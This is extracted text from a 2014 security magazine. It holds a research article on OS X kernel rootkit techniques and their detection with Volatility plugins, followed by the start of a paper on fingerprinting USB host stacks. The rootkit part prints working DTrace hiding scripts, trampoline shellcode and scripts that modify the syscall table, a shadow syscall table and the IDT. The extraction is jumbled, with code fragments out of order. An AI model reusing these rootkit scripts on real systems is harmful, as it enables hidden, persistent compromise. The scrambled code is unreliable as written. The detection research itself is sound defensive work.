TABLE 3: DTrace Script that Hides Directory Entries
#!/usr/sbin/dtrace -s
self size_t buf_size;
syscall::getdirentries64:entry
/fds[arg0].fi_pathname+2 == "/private/tmp"/
{
/* save the direntries buffer */
self->buf = arg1;
}
syscall::getdirentries64:return
/self->buf && arg1 > 0/
{
/* arg0 contains the actual size of the direntries buffer */
self->buf_size = arg0;
self->ent0 = (struct direntry *) copyin(self->buf, self->buf_size);
printf("\nFirst Entry: %s\n",self->ent0->d_name);
self->ent1 = (struct direntry *) (char *)(((char *) self->ent0) + self->ent0>d_reclen);
printf("Second Entry: %s\n",self->ent1->d_name);
self->ent3 = (struct direntry *) (char *)(((char *) self->ent2) + self->ent2>d_reclen);
/* recalculate buffer size cause it'll be smaller after overwriting hidden entry with
next entry */
size_left = self->buf_size - ((char *)self->ent2 - (char *)self->ent0);
/* copy next entry and following entries to start of hidden entry */
bcopy((char *)self->ent3, (char *)self->ent2, size_left);
}
/* rewrite returned arg for getdirentries64 */
copyout(self->ent0, self->buf, self->buf_size);
syscall::getdirentries64:return
/self->buf && self->buf_size/
{
self->buf = 0;
self->buf_size = 0;
}
TABLE 4: ls Output Before and After Running DTrace Script
This hiding technique is easily detected by using the plugin check_hooks. The plugin
will detect the hooking of the getdirentries64 function by checking to see if a DTrace
syscall is present. Figure 2 shows the output of the command when ran against the
vmem file of the targeted system.
Figure 2: check_hooks Plugin Detecting a DTrace Hook that Hides Files and Directories
2. Hiding from the Activity Monitor and top
Another rootkit technique demonstrated by Archibald was the hiding of a process
from Activity Monitor and the command top. Both tools retrieve process information
and display it to the user. They achieve this task through the libtop API. By hooking
the pid_for_task function with a mach_trap provider and modifying the return value,
the target process can be hidden. Table 5 below shows the DTrace script that was
used to hide a process:
TABLE 5: DTrace Script that Hides Processes from Activity Monitor and top
syscall::kill:entry /arg1 == 1337/
{
printf("[+] Adding pid: %i to the hiddenpids array\n",arg0);
hiddenpids[arg0] = 1;
}
mach_trap::pid_for_task:entry
/execname == "top" || execname == "activitymonitor"/
{
/*
printf("[+] top resolving a pid.\n");
printf("\tpid is @ 0x%lx\n", arg1); */
self->pidaddr = arg1;
}
mach_trap::pid_for_task:return
/self->pidaddr && hiddenpids[*(unsigned int *)copyin(self->pidaddr,sizeof(int))]/
{
this->neg = (int *)alloca(sizeof(int));
*this->neg = -1;
copyout(this->neg,self->pidaddr,sizeof(int));
}
The script gets the process id (pid) to hide from the command line with the command
seen in Table 6. This command populated the hiddenpids array and removes the pid
from the function pid_for_task’s output.
TABLE 6: Command to Provide the pid to Hide
python -c 'import sys;import os;os.kill(int(sys.argv[1]),1337)' <PID>
66 HITB | Issue 10 | january 2014
Application Security
self->ent2 = (struct direntry *) (char *)(((char *) self->ent1) + self->ent1>d_reclen);
printf("Hiding Third Entry: %s\n",self->ent2->d_name);
The script hides the directory entry by using the syscall provider to hook the
getdirentries64 function and rewrites the function’s return values to hide the target
folder. Table 4 below shows the directory listing for “/private/tmp” as produced
by the command ls before and after running the DTrace script. The script hides the
directory “.badness” from the command ls.
january 2014 | Issue 10 | HITB 67
Application Security
This hiding technique is easily detected by using the plugin check_hooks. The plugin
will detect the hooking of the pid_for_tasks function by checking to see if a DTrace
syscall is present in the trap table. Figure 3 shows the output of the command when
ran against the vmem file of the targeted system.
2. Syscall Function Interception or Inlining
To demonstrate this type of rootkit behavior, I modified the setuid syscall function’s
prologue to add a trampoline into the exit syscall function. Table 8 contains the
shellcode that will be used to modify the function:
FIGURE 3: check_hooks Plugin Detecting a DTrace Hook that Hides Processes
TABLE 8: Trampoline Template
"\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00" // mov rax, address
"\xFF\xE0";
// jmp rax
C. Syscall Table Hooks
1. Syscall Interception by Directly Modifying the Syscall Table
An example of modifying the syscall table is switching the setuid call with the exit
call as explained in a Phrack article [8]. The code in Table 7 retrieves the sysent
entry addresses for the exit and setuid calls so we know what to modify. Then the
sysent objects get instantiated to access their sy_call members, which contain the
pointer to the syscall function. Finally, the code overwrites the setuid sysent's syscall
function address with the exit sysent's syscall function address.
TABLE 7: mac_volshell Script to Modify the Syscall Table
After the switch, if any program calls setuid, it will be redirected to the exit syscall,
and end without issues. To detect the replacement of one syscall function by another
I checked for the existence of duplicate functions in the syscall table as seen in Figure
4. The detection of external functions is performed by checking for the presence of
the address of a syscall function within the known kernel symbols table.
FIGURE 4: check_hooks Detects Direct Syscall Table Modification
68 HITB | Issue 10 | january 2014
TABLE 9: Create Trampoline Shellcode and Inject Into Syscall Function
>>> buf =
"\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xE0".encode("hex").
replace("000000000000000
0",struct.pack("<Q",self.addrspace.profile.get_symbol("_exit")).encode('hex'))
>>> import binascii
>>>
self.addrspace.write(self.addrspace.profile.get_symbol("_setuid"),binascii.unhexlify(buf)
)
Table 10 shows before and after outcomes of running the command sudo on the target
system. Before injecting the shellcode, the user gets prompted for their password,
whereas after the injection the sudo command simply exits.
TABLE 10: Before and After Injecting the Trampoline Shellcode
Detecting this kind of modification in the plugin check_hooks is achieved via function
prologue checking and control flow analysis. The function isPrologInlined checks to
see if the syscall function prologue conforms with these known instructions. The
function isInlined, on the other hand, looks for calls, jumps or push/ret instructions
that end up outside the kernel address space.
If the check_hooks plugin is used on a memory sample with the inlined setuid syscall
function that trampolines into the exit syscall function the detection as depicted in
Figure 5 happens.
FIGURE 5: Detection of Syscall Function Inlining
D. Shadow Syscall Table
The shadowing of the syscall table is a technique that hides the attacker's modifications
to the syscall table by creating a copy of it to modify and by keeping the original
untouched. The attacker would need to alter all kernel references to the syscall
table to point to the shadow syscall table for the attack to fully succeed. After the
references are modified, the attacker can perform the syscall function interceptions
described above without worrying much about detection. To performthe described
attack in Volatility, I had to do the following:
1. Find a suitable kernel extension (kext) that has enough free space to copy the
syscall table into, in this case "com.vmware.kext.vmhgfs".
Application Security
>>> #get sysent addresses for exit and setuid
>>> nsysent = obj.Object("int", offset = self.addrspace.profile.get_symbol("_nsysent"),
vm = self.addrspace)
>>> sysents = obj.Object(theType = "Array", offset =
self.addrspace.profile.get_symbol("_sysent"), vm = self.addrspace, count = nsysent,
targetType = "sysent")
>>> for (i, sysent) in enumerate(sysents):
...
if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_
call.v()))
== "_setuid":
...
"setuid sysent at {0:#10x}".format(sysent.obj_offset)
...
"setuid syscall {0:#10x}".format(sysent.sy_call.v())
...
if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_
call.v()))
== "_exit":
...
"exit sysent at {0:#10x}".format(sysent.obj_offset)
...
"exit syscall {0:#10x}".format(sysent.sy_call.v())
...
'exit sysent at 0xffffff8006455868'
'exit syscall 0xffffff8006155430'
'setuid sysent at 0xffffff8006455bd8'
'setuid syscall 0xffffff8006160910'
>>> #create sysent objects
>>> s_exit = obj.Object('sysent',offset=0xffffff8006455868,vm=self.addrspace)
>>> s_setuid = obj.Object('sysent',offset=0xffffff8006455bd8,vm=self.addrspace)
>>> #write exit function address to setuid function address
>>> self.addrspace.write(s_setuid.sy_call.obj_offset, struct.pack("<Q",
s_exit.sy_call.v()))
The address placeholder (\x00\x00\x00\x00\x00\x00\x00\x00) is be replaced with the
exit syscall address as seen in Table 9.
january 2014 | Issue 10 | HITB 69
Application Security
2. Add a new segment to the binary and modify the segment count in the header
(mach–o format).
3. Copy the syscall table into the segment's data.
4. Modify kernel references to the syscall table to point to the shadow syscall table.
5. Directly modify the shadow syscall table by replacing a function.
To find the kernel references to the syscall table (sysent) I first looked into the XNU
source code to find the functions that have references to it. The function unix_syscall64
appeared to be a good candidate since it had several references9. Then I disassembled
the unix_syscall64 function in volshell to find the corresponding instructions so I could
get the pointer to the syscall table. Since I knew the syscall table address, it was easy
to find the references to it. It appears that unix_syscall_return, unix_syscall64, unix_
syscall, and some dtrace functions have references to the syscall table as well so all I had
to do is replace what the reference is pointing to with the shadow syscall table's address.
To create the shadow syscall table I ran the code in Table 11 in mac_volshell, which
performs the steps mentioned above.
TABLE 11: mac_volshell Script to Create the Shadow Syscall Table
70 HITB | Issue 10 | january 2014
FIGURE 6: Creating the Shadow Syscall Table
Now that the syscall table reference and shadow syscall table are available, the
reference can be modified with the script in Table 12.
TABLE 12: mac_volshell Script to Replace the Original Syscall Table with its Shadow
>>> #write shadow table address (0xffffff7fafdf5350) to reference (0xffffff802ec000d0)
>>> self.addrspace.write(0xffffff802ec000d0, struct.pack('Q', 0xffffff7fafdf5350))
True
>>> "{0:#10x}".format(obj.Object('Pointer', offset =0xffffff802ec000d0, vm =
self.addrspace))
'0xffffff7fafdf5350'
The last step of this method is to modify the shadow syscall table using the first
method described (direct syscall table modification). As seen in Figure 7 below, after
the modification, sudo –i exits without prompting for a password at the target VM.
FIGURE 7: sudo Exiting without Prompting for Password After Shadow Syscall Table Attack
To detect the shadow syscall table attack, I implemented the following steps in the
plugin check_hooks:
1. Check functions known to have references to the syscall table. In this case the
functions are unix_syscall_return, unix_syscall64, unix_syscall.
2. Disassemble them to find the syscall table references.
3. Obtain the references in the function and compare to the address in the
symbols table.
Running the plugin check_hooks against the target VM’s vmem file provided the
detection results seen in Figure 8 (following page).
E. Symbols Table Hooks
Functions exposed by the kernel and kexts in their symbols tables can also be hooked
using the techniques that have been described. To be able to analyze these functions,
I had to obtain the list of symbols per kernel or kext since the Volatility Framework is
currently not able to list kernel or kext symbols from a memory sample. To accomplish
this task, I followed the following steps:
1. Get the Mach–o header (e.g. mach_header_64) to get the start of segments.
2. Locate the __LINKEDIT segment to get the address for the list of symbols
represented as nlist_64 structs, symbols file size and offsets.
Application Security
#get address for the kernel extension (kext) list
p = self.addrspace.profile.get_symbol("_kmod")
kmodaddr = obj.Object("Pointer", offset = p, vm = self.addrspace)
kmod = kmodaddr.dereference_as("kmod_info")
#loop thru list to find suitable target to place the shadow syscall table in
while kmod.is_valid():
str(kmod.name)
if str(kmod.name) == "com.vmware.kext.vmhgfs":
mh = obj.Object('mach_header_64', offset = kmod.address,vm = self.addrspace)
o = mh.obj_offset
#skip header data
o += 32
seg_data_end = 0
#loop thru segments to find the end to use as the start of the injected segment
for i in xrange(0, mh.ncmds):
seg = obj.Object('segment_command_64', offset = o, vm = self.addrspace)
o += seg.cmdsize
print "index {0} segname {1} cmd {2:x} offset {3:x} header cnt addr
{4}".format(i,seg.segname, seg.cmd, o, mh.ncmds.obj_offset)
#increment header segment count
self.addrspace.write(mh.ncmds.obj_offset, chr(mh.ncmds + 1))
#create new segment starting at last segment's end
print "Creating new segment at {0:#10x}".format(o)
seg = obj.Object('segment_command_64', offset = o, vm = self.addrspace)
#create a segment with the type LC_SEGMENT_64, 0x19
seg.cmd = 0x19
seg.cmdsize = 0
#naming the segment __SHSYSCALL
status = self.addrspace.write(seg.segname.obj_offset,
'\x5f\x5f\x53\x48\x53\x59\x53\x43\x41\x4c\x4c')
#data/shadow syscall table will start after the command struct
seg.vmaddr = o + self.addrspace.profile.get_obj_size('segment_command_64')
seg.filesize = seg.vmsize
seg.fileoff = 0
seg.nsects = 0
#copy syscall table entries to new location
nsysent = obj.Object("int", offset =
self.addrspace.profile.get_symbol("_nsysent"), vm = self.addrspace)
seg.vmsize = self.addrspace.profile.get_obj_size('sysent') * nsysent
sysents = obj.Object(theType = "Array", offset =
self.addrspace.profile.get_symbol("_sysent"), vm = self.addrspace, count = nsysent,
targetType = "sysent")
for (i, sysent) in enumerate(sysents):
status = self.addrspace.write(seg.vmaddr + (i*40),
self.addrspace.read(sysent.obj_offset, 40))
print "The shadow syscall table is at {0:#10x}".format(seg.vmaddr)
break
kmod = kmod.next
The outcome of running the script can be seen in Figure 6. The shadow syscall table
now exists within the kext "com.vmware.kext.vmhgfs" in a new segment.
january 2014 | Issue 10 | HITB 71
Application Security
FIGURE 8: check_hooks Detects the Shadow Syscall Table Attack
a number between 0 and 255. IDT can contain Interrupt Gates, Task Gates and Trap
Gates. It is desirable to hook at this level because it can provide us with ring 0 access.
TABLE 13: Desscriptor and Gate Structures as in the Volatility Framework
'real_descriptor64' (16 bytes)
0x0 : base_low16 ['BitField', {'end_bit':
0x0 : limit_low16 ['BitField', {'end_bit':
0x4 : access8 ['BitField', {'end_bit':
0x4 : base_high8 ['BitField', {'end_bit':
0x4 : base_med8 ['BitField', {'end_bit':
0x4 : granularity4 ['BitField', {'end_bit':
0x4 : limit_high4 ['BitField', {'end_bit':
0x8 : base_top32 ['unsigned int']
0xc : reserved32 ['unsigned int']
3. Locate the the segment with the LC_SYMTAB command to get the symbols and
strings offsets, which will be used to...
4. Calculate the location of the symbols in __LINKEDIT.
5. Once we know the exact address, loop through the nlist structs to get the symbols.
6. Also find the number of the __TEXT segment's __text section number, which will
be used to filter out symbols. According to Apple's documentation the compiler
places only executable code in this section10.
The nlist structs have a member called n_sect, which stores the section number
that the symbol's code lives in. This value, in conjunction with the __text section's
number helped in narrowing down the list of symbols to mostly functions' symbols. I
say mostly because I have seen structures, such as _mh_execute_header still listed.
FIGURE 9: check_hooks Plugin Detects Symbols Table Function Hook
As seen in Figure 8, the plugin detects the function proc_resetregister as inline
hooked and shows that the destination of the hook is in the 'put.as.hydra' kext. The
other plugin specific option –X will scan all kexts' symbols, if available, for hooking.
F. IDT Hooks
Interrupt descriptor table (IDT) associates each interrupt or exception identifier
(handler) with a descriptor (vector) for the instructions that service the associated
event. An interrupt is usually defined as an event that alters the sequence of
instructions executed by a processor. Each interrupt or exception is identified by
72 HITB | Issue 10 | january 2014
['BitField', {'end_bit':
['BitField', {'end_bit':
['BitField', {'end_bit':
['BitField', {'end_bit':
['BitField', {'end_bit':
['BitField', {'end_bit':
['unsigned int']
['unsigned int']
16, 'start_bit': 0}]
32, 'start_bit': 16}]
3, 'start_bit': 0}]
16, 'start_bit': 8}]
32, 'start_bit': 16}]
8, 'start_bit': 3}]
1. Hooking the IDT Descriptor
To understand how to hook at the descriptor level, it’s necessary to look at how the
handler's address is derived from the descriptor. Table 14 depicts how the calculation
takes place in both 32 and 64 bit systems.
TABLE 14: The Calculation of IDT Handler Addresses
32 bit:
handler_addr = real_gate64.offset_low16 + (real_gate64.offset_high16 << 16)
64 bit:
handler_addr = real_gate64.offset_low16 + (real_gate64.offset_high16 << 16) +
(real_gate64.offset_top32 << 32)
So to replace the handler, the descriptor's fields will be loaded with parts of the target
address that contains the shellcode. As with the previous case, I'll target the kext "com.
vmware.kext.vmhgfs," specifically its __text section to load the fake IDT handler. To
obtain the address to load the shellcode, I ran the mac_volshell script in Table 15.
TABLE 15: mac_volshell Script to Get an Address for the Shellcode
>>>
>>>
>>>
>>>
>>>
>>>
...
...
...
...
...
...
...
...
...
...
...
#get address for the kernel extension (kext) list
p = self.addrspace.profile.get_symbol("_kmod")
kmodaddr = obj.Object("Pointer", offset = p, vm = self.addrspace)
kmod = kmodaddr.dereference_as("kmod_info")
#loop thru list to find suitable target to place the trampoline in
while kmod.is_valid():
str(kmod.name)
if str(kmod.name) == "com.vmware.kext.vmhgfs":
mh = obj.Object('mach_header_64', offset = kmod.address,vm = self.addrspace)
o = mh.obj_offset
# skip header data
o += 32
txt_data_end = 0
# loop thru segments to find __TEXT
for i in xrange(0, mh.ncmds):
seg = obj.Object('segment_command_64', offset = o, vm = self.addrspace)
if seg.cmd not in [0x26]:
Application Security
My target for this case is an OS X 10.8.3 VM running Hydra, a kernel extension that
intercepts a process's creation, suspends it, and communicates it to a userland
daemon, which was written by Vilaca11. Hydra inline hooks the function proc_
resetregister in order to achieve its first goal. After compiling and loading the kext, I
ran the check_hooks plugin with the –K option to only scan the kernel symbols to see
what's detected. The detection outcome is shown in Figure 9 below.
'real_gate64' (16 bytes)
0x0 : offset_low16 0x0 : selector16 0x4 : IST 0x4 : access8 0x4 : offset_high16 0x4 : zeroes5 0x8 : offset_top32 0xc : reserved32 32, 'start_bit': 16}]
16, 'start_bit': 0}]
16, 'start_bit': 8}]
32, 'start_bit': 24}]
8, 'start_bit': 0}]
24, 'start_bit': 20}]
20, 'start_bit': 16}]
january 2014 | Issue 10 | HITB 73
Application Security
...
for j in xrange(0, seg.nsects):
...
sect = obj.Object('section_64', offset = o + 0x48 + 80*(j), vm =
self.addrspace)
...
sect_name = "".join(map(str, sect.sectname)).strip(' \t\r\n\0')
...
# find __text section
...
if seg.cmd == 0x19 and str(seg.segname) == "__TEXT" and sect_name
== "__text":
...
print "{0:#10x} {1:#2x} {2} {3}".format(sect.addr,seg.cmd,
seg.segname, sect_name)
...
txt_data_end = sect.addr + sect.m('size') - 50
...
break
...
if txt_data_end != 0:
...
break
...
print "The fake idt handler will be at {0:#10x}".format(txt_data_end)
...
break
...
kmod = kmod.next
...
'com.apple.driver.AudioAUUC'
'com.vmware.kext.vmhgfs'
0xffffff7f82bb2928 0x19 __TEXT __text
The fake idt handler will be at 0xffffff7f82bba6e5
To demonstrate this type of hooking I routed the idt64_zero_div handler to the idt64_
stack_fault handler by using a MOV/JMP trampoline. Before doing that, I obtained
the addresses of these entities using a slightly modified check_idt plugin (added ent
to the yield statement in the calculate method) and the script in Table 16.
TABLE 16: mac_volshell Script to get IDT Descriptor and Handler Addresses
>>> import volatility.plugins.mac.check_idt as idt
>>> idto = idt.mac_check_idt(self._config)
>>> for i in idto.calculate():
...
"Name {0} Descriptor address: {1:#10x}, Handler address {2:#10x}".format(i[3],
i[9].obj_offset, i[2])
...
'Name _idt64_zero_div Descriptor address: 0xffffff8001306000, Handler address
0xffffff80014cac20'
...
'Name _idt64_stack_fault Descriptor address: 0xffffff80013060c0, Handler address
0xffffff80014cd140'
TABLE 17: mac_volshell Script Modifying the IDT Descriptor to Point to Shellcode
>>> stub_addr = 0xffffff7f82bba6e5
>>> idt_addr = 0xffffff8001306000
>>> idt_entry = obj.Object('real_gate64', offset = idt_addr, vm=self.addrspace)
>>> self.addrspace.write(idt_entry.obj_offset, struct.pack('<H', stub_addr & 0xFFFF))
True
>>> self.addrspace.write(idt_entry.offset_high16.obj_offset + 2, struct.pack("<H",
(stub_addr >> 16) & 0xFFFF))
True
>>> self.addrspace.write(idt_entry.obj_offset+8, struct.pack("<I", stub_addr >> 32))
True
To trigger the division by zero exception, I utilized the code in Table 18. The compiled
executable was named ‘div0’.
#include <stdio.h>
int main ()
{
int x=2, y=0;
printf("X/Y = %i\n",x/y);
return 0;
}
Running the division by zero code before and after hooking will result in the outcomes
seen in Figures 10 and 11.
FIGURE 10: Output Before Hooking (zero division exception)
FIGURE 11: Output After Hooking (stack fault exception)
To detect a modified descriptor, the check_idt plugin checks to see if the handler's
address is in the kernel, if the address refers to a known symbol, and if it starts with
known strings. The result of a scan on the VM's memory with a hooked idt64_zero_div
descriptor is seen in Figure 12.
FIGURE 12: check_idt Results for a Hooked IDT Descriptor (idt64_zero_div)
As seen Figure 12, the results will show the entry number, handler address, symbol
name, access level (as in ring 0/1/2/3), selector, module/ kext for the handler,
descriptor hook status, and handler inline hook status. Both 'Hooked' and 'Inlined'
statuses show that the entry has been hooked.
2. Hooking the IDT Handler
In this technique, instead of hooking the idt64_zero_div entry's descriptor, I inlined
the handler itself by overwriting the top instructions with a MOV/JMP trampoline
that jumps into the handler of the idt_stack_fault entry. The address of the handler
found within the descriptor will remain the same. This is a point to keep in mind from
a detection standpoint.
After obtaining the the IDT descriptor and handler addresses, I modified the shellcode
with idt_stack_fault's handler address (0xffffff80266cd140) and injected it to idt64_
zero_div's handler (0xffffff80266cac20) as seen in Table 19.
TABLE 19: mac_volshell Script to Inject the Shellcode into the IDT Handler Function
>>> import binascii
>>> buf =
"\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xE0".encode("hex").replace("000000000000000
0",struct.pack("<Q", 0xffffff80266cd140).encode('hex'))
>>> self.addrspace.write(0xffffff80266cac20 ,binascii.unhexlify(buf))
True
div0’s output before and after hooking the IDT handler function can be seen in Figure
13 on the next page.
74 HITB | Issue 10 | january 2014
Application Security
Now that all the required addresses are present, I modified the shellcode to
trampoline into idt64_stack_fault (0xffffff80014cd140) and inject it to the target
location (0xffffff7f82bba6e5). Shellcode in place, the idt descriptor can be modified
to point to it as seen in Table 17.
TABLE 18: C Code to Trigger a Division by Zero Exception
january 2014 | Issue 10 | HITB 75
Application Security
FIGURE 13: div0's Output Before and After Hooking the IDT handlet
To detect an inlined handler, the check_idt looks for specific instructions found in a
regular handler as seen in Figure 14, such as LEA RAX, [RIP+0x2d4] and checks to see if
the address (e.g. [RIP+0x2d4]) points to a proper handler function (e.g. hndl_allintrs).
FIGURE 14: The Disassembly of a Normal IDT Handler
References
1. “Designing BSD Rootkits,” Joseph Kong, 2007
2. “The Mach Hacker’s Handbook,” Miller and Dai Zovi, 2009
3. “Destructive DTrace,” http://felinemenace.org/~nemo/dtrace-­infiltrate.pdf, Neil ‘Nemo’ Archibald,
2013
4. “Past and Future in OS X Malware”, Pedro Vilaca, http://reverse.put.as/Hitcon_2012_
Presentation.pdf, 2012
5. “OS X Kernel Rootkits”, Pedro Vilaca, reverse.put.as/wp-­content/uploads/2013/07/HiTCON-­
2013-­Presentation.pdf, 2013
6. “DTrace: The Reverse Engineer’s Unexpected Swiss Army Knife,” Beauchamp and Weston,
http://blackhat.com/presentations/bh-­usa-­08/Beauchamp_Weston/BH_US_08_Beauchamp-­
Weston_DTrace.pdf, 2008
7. Volatility Framework Plugins, Cem Gurkok, https://github.com/siliconblade/volatility/mac, 2013
8. “Developing Mac OSX kernel Rootkits,”, wowie <[email protected]> and [email protected], http://
www.phrack.org/issues.html?issue=66&id=16, 2009
9. “XNU Source Code,” http://www.opensource.apple.com/source/xnu/xnu-­2050.22.13/bsd/dev/
i386/systemcalls.c
10. “OS X ABI Mach-­O File Format Reference,” https://developer.apple.com/library/
mac/#documentation/DeveloperTools /Conceptual/MachORuntime/Reference/reference.html
11. “Hydra,” Pedro Vilaca, https://github.com/gdbinit/hydra
Figure 15 shows an IDT handler modified with the trampoline shellcode.
FIGURE 15: The Disassembly of a Modified IDT Handler
The detection output of the plugin check_idt can be seen in Figure 16.
FIGURE 16: The Detection Output of the check_idt plugin
CONCLUSION
This paper has described techniques to subvert the OS X kernel and how to detect
them in memory using the Volatility Framework. The OS X kernel keeps proving
that it is a rich source of attack vectors and shows that the defensive side of the
information security business needs to be proactive to stay ahead of the attackers. ¶
76 HITB | Issue 10 | january 2014
Application Security
Figure 16 shows that the IDT entry name is known and the descriptor itself appears
as unmodified. On the other hand, the plugin also shows that the entry's handler has
been inlined.
january 2014 | Issue 10 | HITB 77
1. INTRODUCTION
Embedded systems are everywhere, from TVs to aircraft, printers to weapons control
systems. As a security researcher when you are faced with one of these black boxes
to test, sometimes in situ, it is difficult to know where to start. However, if there is a
USB port on the device. there is useful information that can be gained. In this paper
we will show how USB stack interaction analysis can be used to provide information
such as the OS running on the embedded device, the USB drivers installed, and the
devices supported. When testing the security of a USB host stack, knowledge of the
installed drivers will increase the efficiency of the testing process dramatically.
2.1 Previous Research
There has been plenty of previous research into the security of USB in recent years,
which has mainly focussed on different approaches to enable USB hosts to be tested
for vulnerabilities [Davis][Dominguez Vega][Larimer]. However, the author is only
aware of one reference to research involving the use of USB interactions to identify
information about the host stack [Goodspeed].
2. USB Background: The Enumeration Phase in Detail
Deriving Intelligence
from USB Stack
Interactions
Andy Davis, [email protected]
The initial communication any USB device has with a host is during enumeration.
Enumeration is the mechanism by which a USB host determines the status,
configuration, and capabilities of an inserted USB device. The process begins when a
device is mechanically inserted into the host and follows a number of steps:
There are four lines on a USB connector: Vcc (+5V), GND (0V), positive data (D+) and
negative data (D-). Prior to a device being connected, D+ and D- are connected to
GND via a 15K resistor. At the point of insertion, different resistors and differential
signals are used to determine the speed of the connected device:
● A low speed device (1.5Mbps) connects D- to Vcc via a 1K5 pull-up resistor
● A full speed device (12Mbps) connects D+ to Vcc via a 1K5 pull-up resistor
● A high speed device (480Mbps) connects D+ to Vcc via a 1K5 pull-up resistor
(and hence initially appears to be a full speed device). The host then attempts
to communicate at 480Mbps with the device using J and K chirps (a J chirp is a
differential signal on D+ and D- >= +300mV, whereas a K chirp is >= -300mV).
If the communication fails the host assumes the device is a full speed device
rather than a high speed device.
Now that the host knows what speed it can use to communicate with the device, it
can start interrogating it for information. An 8-byte SETUP packet called the setup
transaction (Table 1) is sent by the host in the first phase of a control transfer. It contains
the request “GET_DESCRIPTOR” (for the device descriptor) and is sent using address 0.
Application Security
Revealing
Embedded
Fingerprints
USB is a master-slave protocol, with the host as the master and devices as slaves.
Only the master can make requests to slaves and not the other way round, which
poses a problem as we are trying to identify information about the configuration of
the host from the perspective of a slave (device). Therefore we need to observe the
way the host requests information in great detail, and also to provide potentially
unexpected answers to the host’s requests, generating unique behaviour in the host,
which can then also be observed.
january 2014 | Issue 10 | HITB 79
Application Security
The device then responds with an 18-byte device descriptor, also on address 0 (Table 2).
TABLE 1: Get Device descriptor request
Field bmRequestType (direction) bmRequestType (type) bmRequestType (recipient) bRequest wValue wIndex wLength Value 1
0
0
0x06 0x0100 0x0000 0x0040 Meaning
Device-to-host
Standard
Device
Get Descriptor
DEVICE Index = 0
Zero
Length requested = 64 Field
TABLE 2: Device descriptor
Field bLength bDescriptorType bcdUSB bDeviceClass bDeviceSubClass bDeviceProtocol bMaxPacketSize0 idVendor idProduct bcdDevice iManufacturer iProduct iSerialNumber bNumConfigurations Value 18 1
0x0110 0x00 0x00 0x00 8
0x413c 0x2107 0x0178 1
2
0
1
Meaning
Descriptor length (including the bLength field)
Device descriptor
Spec version
Class information stored in Interface descriptor
Class information stored in Interface descriptor
Class information stored in Interface descriptor
Max EP0 packet size
Dell Inc
Unknown
Device release number
Index to Manufacturer string
Index to Product string
Index to serial number
Number of possible configurations
TABLE 3: Configuration descriptor
Meaning
Descriptor length (including the bLength field)
Configuration descriptor
Total combined size of this set of descriptors
Number of interfaces supported by this configuration
Value to use as an argument to the SetConfiguration()
request to select this configuration
Index of String descriptor describing this configuration
Bus-powere
Yes
Valid
Maximum current drawn by device in this configuration
● Number of interfaces supported by this configuration
● The power attributes that indicate if the device is self- or bus-powered and the
maximum current the device will draw.
TABLE 4: Interface descriptor
Field Value bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumberEndpoints 1
bDeviceClass 0x03 bDeviceProtocol 0x01 iInterface 0
Meaning
Descriptor length (including the bLength field)
Interface descriptor
Number of this interface
Value used to select this alternative setting for the
interface identified in the prior field
Number of endpoints used by this interface
HID bDeviceSubClass 0x01 Boot interface
Keyboard
Index of string descriptor describing this interface
TABLE 5: Endpoint descriptor
Field bLength bDescriptorType bEndpointAddress bmAttributes wMaxPacketSize bInterval Value 7
5
0x81 0x03 0x0008 0x0a Meaning
Descriptor length (including the bLength field)
Endpoint descriptor
Endpoint 1 – OUT
Interrupt data endpoint
Maximum packet size is 8
10 frames (10ms)
Within the interface descriptor, the important information is:
● Number of endpoints
● Class information (interface-specific information not provided in the device descriptor)
An endpoint descriptor contains:
● The endpoint address and type
● The maximum packet size in bytes of the endpoint
Sometimes class-specific descriptors are included within the configuration, for
example the HID descriptor in Table 6:
TABLE 6: HID descriptor
The most important data in the device descriptor is:
● Device class information (if present)
● Maximum packet size in bytes of Endpoint 0
● Vendor and Product IDs (VID and PID)
● Number of configurations
The host resets the device, allocates an address to it (in the range of 1 to 127) and
then re-requests the device descriptor using the new address.
80 HITB | Issue 10 | january 2014
Field bLength bDescriptorType bcdHID bCountryCode bNumDescriptors bDescriptorType wDescriptorLength Value 9
0x21 0x0110 0
1
34 65 Meaning
Descriptor length (including the bLength field)
HID
HID Class Spec Version
Not Supported
Number of Descriptors
Report descriptor
Descriptor length
Application Security
Field Value bLength 9
bDescriptorType 2
wTotalLength 34 bNumInterfaces 1
bConfigurationValue 1
iConfiguration 0
bmAttributes (Self-powered) 0
bmAttributes (Remote wakeup) 1 bmAttributes (Other bits) 0x80 bMaxPower 100mA For each possible configuration, the host will request a configuration descriptor,
an example of which is shown in Table 3. The configuration descriptor includes a
number of further descriptors (interface and endpoint, examples of which are shown
in Tables 4 and 5 respectively); however, the primary fields of interest are:
january 2014 | Issue 10 | HITB 81
Application Security
If there are multiple configurations for a device then further configuration (as well
as interface, endpoint, etc.) descriptors will be requested.
The next descriptors requested are string descriptors, which provide human-readable
information about the device type and vendor. An example is shown in Table 7.
TABLE 7: String descriptor
Field Value Meaning
bLength 48 Descriptor length (including the bLength field)
bDescriptorType 3
String descriptor
bString “Dell USB
Entry
Keyboard”
Support for multiple speeds: USB devices, depending on their function, operate at
a number of different speeds; therefore the ability to capture and generate data at
these different speeds is crucial if the whole range of devices is to be emulated.
The solution chosen for this project comprised two primary components: A commercial
USB analyser and generator – Packet-Master [MQP], and a bespoke device emulation
board called Facedancer [GoodFET]. Figure 1 shows how they are used together.
Figure 1: The use of a Facedancer board in conjunction with a Packet-master USB analyser
The final step is for the host to select one of the device configurations and inform
the device that it will be using that configuration. This is performed by issuing a “Set
Configuration” request, as shown in Table 8.
TABLE 8: Set Configuration request
Field bmRequestType (direction) bmRequestType (type) bmRequestType (recipient) bRequest wValue wIndex wLength Value 0
0
0
0x09 0x0001 0x0000 0x0000 Meaning
Host-to-device
Standard
Device
Set Configuration
Configuration No.
Zero
Zero
3. USB Testing Platform
4. USB Stack Implementations
USB is quite a complex protocol, especially as it provides backward compatibility
to support older, slower devices. Therefore, implementations of the host stack on
different operating systems can behave in different ways, as we hoped to observe
during this research. Typical components within a USB host stack are as follows:
Additional hardware is needed to interact with USB, so that different USB devices
can be emulated. There are a number of requirements for this testing platform:
Host controller hardware: This performs the low-level timing and electrical aspects
of the protocol and is communicated with via a host controller interface.
The ability to both capture and replay USB traffic: There are many USB analyser tools
available, but only a few that allow captured traffic to be replayed; an ability that
